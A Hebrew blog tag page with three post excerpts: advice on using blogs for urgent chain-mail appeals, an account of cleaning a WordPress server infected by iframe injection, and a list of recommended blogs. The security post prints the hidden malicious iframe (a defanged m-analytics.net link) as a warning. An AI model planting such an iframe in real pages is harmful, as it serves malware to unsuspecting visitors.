תגית: חברים

קיבלתי עכשיו במייל פנייה מידידה שהפיצה פניה של מישהו אחר שאמר שצריכים תרומת דם עבור ילד שנפצע בתאונה. המטרה היא נפלאה, ולרתום חברים בשביל זה זה נהדר. אבל מה יקרה עם המייל הזה בעוד שנה?
בעלי הטלפונים שבמייל עלולים להמשיך לקבל פניות גם בעוד שנתיים בין אם הילד שלהם יבריא ובין אם חס וחלילה לא.
הפתרון לזה היה יכול להיות להקים בלוג (חינמי) באיזושהי מערכת מוכרת (לדוגמא וורדפרס.קום או בלוגלי) ושם לעדכן במה שקורה.

הייתרונות של לפתוח בלוג בשביל הפצת מייל שרשרת:

1. עידכונים – המפיץ יכול להודיע בבלוג כאשר הצורך לסיוע נגמר (בין עם סוף טוב או סוף רע) – וכך לחסוך מאנשים אנרגיות מיותרות, ולחסוך ממנו כאבי לב של פניות מאנשים שנים לאחר שהסוגיה נגמרה.
2. תוכן – יש אפשרות להוסיף עוד תוכן רקע שאחרת לא הייתם מוסיפים על האיש (לדוגמא – אם רוצים לצרף מאגר תמונות של האיש, לא הייתם משלבים אותם במייל, אולי רק תמונה אחת. ובאתר אפשר להוסיף יותר)
3. תגובות – אנשים יכולים להגיב בבלוג, לשאול שאלות, ובכך להביא לדיוק הטקסט המופץ (בעוד שאם הייתה אי בהירות בטקסט המקורי, השולח ייאלץ להסביר אותה כל פעם מחדש)
4. תנועה מחוץ למיילים – תוכן מסוג זה ניתן יהיה לחפש ולמצוא בגוגל, ובלוגרים או אתרים אחרים יוכלו לתת קישור ולהפנות אנשים לתוכן של בקשת השולח.
5. אמינות – אתר עם חדשנות עדכניות בנושא, תגובות של אנשים מתעניינים ובעיקר התייחסות מבעלי אתרים אחרים –  יוצר רושם של משהו ש"קורה באמת". וזה עשוי להעלות את הסבירות שהגולש יתרום את חלקו ויהיה מעורב יותר.
6. מעקב – אפשר לבצע מעקב סטטיסטי על מיהם האנשים שהגיעו לאתר – וכך לדעת לאיזה היקף הפצה הקמפיין הצליח להגיע.

דוגמא לכל הנקודות הללו ניתן לראות בקמפיין שעזרתי לקדם בתחילת 2008, לנסות לסייע להציל את חיי אילנה, אשר חיפשה תורם מח עצם. הבלוג קיבל כמות עצומה של לינקים (וכניסות מאימיילים), כפי שמציג תפריט הניווט בצד האתר. בסוף היא מצאה תרומה, אך הלכה לעולמה במרץ 2008.

אם אהבתם, אנא הפיצו (במייל, או אם יש לכם פייסבוק – פתחתי קבוצה למען הנושא בשם "אם אתם רוצים לשלוח מייל שרשרת לחברים, בבקשה – תקימו בלוג!")

* * * *

והנה מייל השרשרת שהגיע אלי – מקווה שיעזור למישהו שהפצתי אותו:

להמשיך לקרוא אם יש לכם מייל שרשרת בנושא דחוף שאתם רוצים להפיץ, בבקשה, תפתחו בלוג!

http://weblogtoolscollection.com/archives/2009/06/15/security-and-anti-spam-plugins-for-wordpress/(זהירות: פוטס טכני לחובבי הוורדפרס מבינינו)

אז לאחר שגיליתי שהבלוג שלי נדבק בווירוס, יצאתי לחפש אחר פתרון ובפוסט זה אני מביע תודה לכל אלו שעזרו ומקווה לסייע לאחרים בעתיד שיתקלו בבעיות דומות.

הבעיה הייתה שאיכשהו (כנראה פריצה לאחד היוזרים של ה- FTP של השרת שלי) איזשהו בוט נכנס לשרת והכניס לקבצים שבשרת שורת קוד שטוענת אתר (iframe) בתוך כל אחד מהאתרים שלי, האתר הזה מתקין איזשהו סוס טרויאני (לא ברור איזה), וזיהם את רוב (אם לא כל) הקבצים שעל השרת.

הקוד הזדוני נראה כך (הדרך שבה הדבקתי אותו אמורה לסרס את פעולת הקוד, אבל לא הייתי ממליץ להכנס ללינק ללא אנטיווירוס מותקן):

<iframe src="http:// m-analytics . net /qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

כיצד מצאתי את הפתרון:

1. פניתי לחברי בפייסבוק, טוויטר, קבוצת העזרה של וורדפרס העולמית וקבוצת הדיון של וורדפרס בעברית לבקש עזרה. אף אחד לא נתן את הפתרון המדויק, אבל שילוב של הפתרונות הביא לסיום הפרשה. אני רוצה להודות לדותן מזור ואיתן ברקט (ששילוב הטיפים שלהם הוא שפתר לי את רוב התעלומה – ראו סעיף 5), לצפריר ריהן (שנתן טיפים כלליים טובים),  לתומר כהן, לאלעד (על הרצון הטוב), ניצן בן-נון (שנתן כיוונים מעולים והפתרון שלו כמעט עבד, אבל לא הצלחתי ליישם אותו כלשונו), לדוד גור ולאריק וגליה (שרצו לעזור, אבל לא הספיקו לעזור לפני האחרים).  (דוד, ניצן וגליה – איני יודע מה הלינקים לבלוגים שלכם, תשלחו ותקבלו)
2. כדי לוודא בכל שלב של הניסוי האם אני מצליח או לא, השתמשתי באתר "הסר מסכות טפילים" שמגלה האם יש באתר כלשהו עדות ללינקים חבויים או דברים שמעלים חשד של פריצה לאתר.
3. התקנתי על הוורדפרס את התוסף WordPress Exploit Scanner אליו הגעתי דרך הפוסט Security And Anti-spam Plugins For WordPress – זהו תוסף שמאפשר לגלות קבצים "מזוהמים" בוורדפרס. מה שאיפשר לי לזהות איפה נמצאו הלינקים שיש להוריד.
4. מצאתי באינטרנט מישהו אחר שנתן הוראות (שלא בדיוק עבדו) לפתרון בעיה דומה של החדרת קוד זדוני של iframe, http://fieldsmarshall.com/htmliframe-inf-wordpress-infection/ שם קיבלתי אישור שהכיוון הכללי הוא הנכון.
5. קיבלתי הפניה לאתר (המצויין) http://www.commandlinefu.com שאפשר בתוכו למצוא אוצרות בלומים של איך לעשות מה עם פקודות ב- SSH (שזה בדיוק מה שנזדקקתי לו) (את זה שלח לי דותן, ובשילוב עם העזרה הכללית בקוד הרג'אקס דרך איתן – הבעיה נפטרה)

מהו הפתרון

להמשיך לקרוא אבטחה בוורדפרס – כיצד להסיר iframe injections באמצעות SSH

יום בלוגים שמח חברים. אקח את ההזדמנות לחלוק איתכם אודות כמה מהבלוגרים (דוברי העברית) אחריהם אני עוקב:

• כוסית עם אובססיית שואה – הבלוג של יונית מוזס. ללא ספק הכותבת הכי חריפה, רהוטה, שנונה וחסרת פשרות בה נתקלתי עד היום. יונית כותבת על מוסר, פוליטיקה וחברה על ידי שהיא מנחיתה את המציאות כמו פטיש על אצבע רגישה. קצב הכתיבה יחסית נמוך, אבל כל פוסט הוא פנינה ראויה.
• אנחנו CMS – הבלוג של ארז וולף. מלבד שיחרור של ערכות עיצוב ופאי פאסיפלורה, ארז מביא שוב ושוב קישורים וסרטונים מעניינים, המלווים בזווית בוגרת על תרבות הרשת בארץ.
• הקולקטיב – בלוג טכנולוגי המצליח לרכז שפע של קישורים מעניינים, סרטונים, תוכנות – המיטב של המיטב שמתגלה ברשת.
• אלעד בבלוגלי – מלבד היותו הורה גאה לבלוגלי (הבלוגיה המשובחת), יחד עם תום וחנית (שאגב, ילדה לאחרונה – מזל טוב!), הרי שהוא בלוגר נעים. כותב לעניין. לא כל תכניו נוגעים בי, אך לרוב אני מוצא אצל אלעד תוכן מקורי עם נקודות מבט "חבויות" יותר של הרשת.
• ניב האש – בלוגו של עמרי ידן. מתכנת המשוגע לדבר וחיית רשת אכזרית. שוב ושוב כותב על דברים חצי שנה לפני שאני מגיע אליהם 🙂
• בלוגו של ג'יק – גי'ק (או ג'ונת'ן איאן קירש), הוא חבר ילדות שלי למעלה מ- 10 שנים. חבר ילדות אמרתי? ובכן, הילדות שלי, לא שלא. יונתן הוא מהאנשים הזקנים הצעירים ביותר ברוחם בהם נתקלתי (נשאר איפשהו שם בגיל 3). הוא עוד היה גיק לפני שזה היה באופנה, קרא יותר ספרי מד"ב ופנטזיה מכל אדם אחר שאני מכיר (למעט אולי קובי קמין), והאיש שהכשיר אותי (לפני שנים רבות) כטכנאי מחשבים (חובב) ומרצה במוזיאוני מדע (קשה לקרוא לזה תחביב, יותר גחמה). יונתן הוא איש אשכולות שמפליא בידיעותיו ומסתמך על קישורים מאד רחבים בפנותו לנושא. לא שאני קורא אותו תמיד 😀 – אבל כשאני קורא, אני תמיד נהנה.
• בלוג השוליים של קיו זיטרו – האיש הזה פשוט לא דופק חשבון. נהנה מדברים כמו שילדים נהנים, ומדבק את קוראיו בהנאתו.
• הידען – בלוג שמשחרר ידיעות מדע בקצב כפול מזה שבו אנשים רגילים הולכים לשירותים. מעולם לא הצלחתי לעקוב אחרי הכל, אבל כשכותרת תופסת אותי – אני לרוב מקבל סקירה חביבה (ובעברית), של משהו פותח אופקים חדש…

האמת שיש עוד איזה בלוג או שניים שיוצא לי לקרוא (ועמכם הסליחה שלא לינקקתי היום…) . וכמו שאמרו לפני – ניראה לי שאעצור פה (להיום).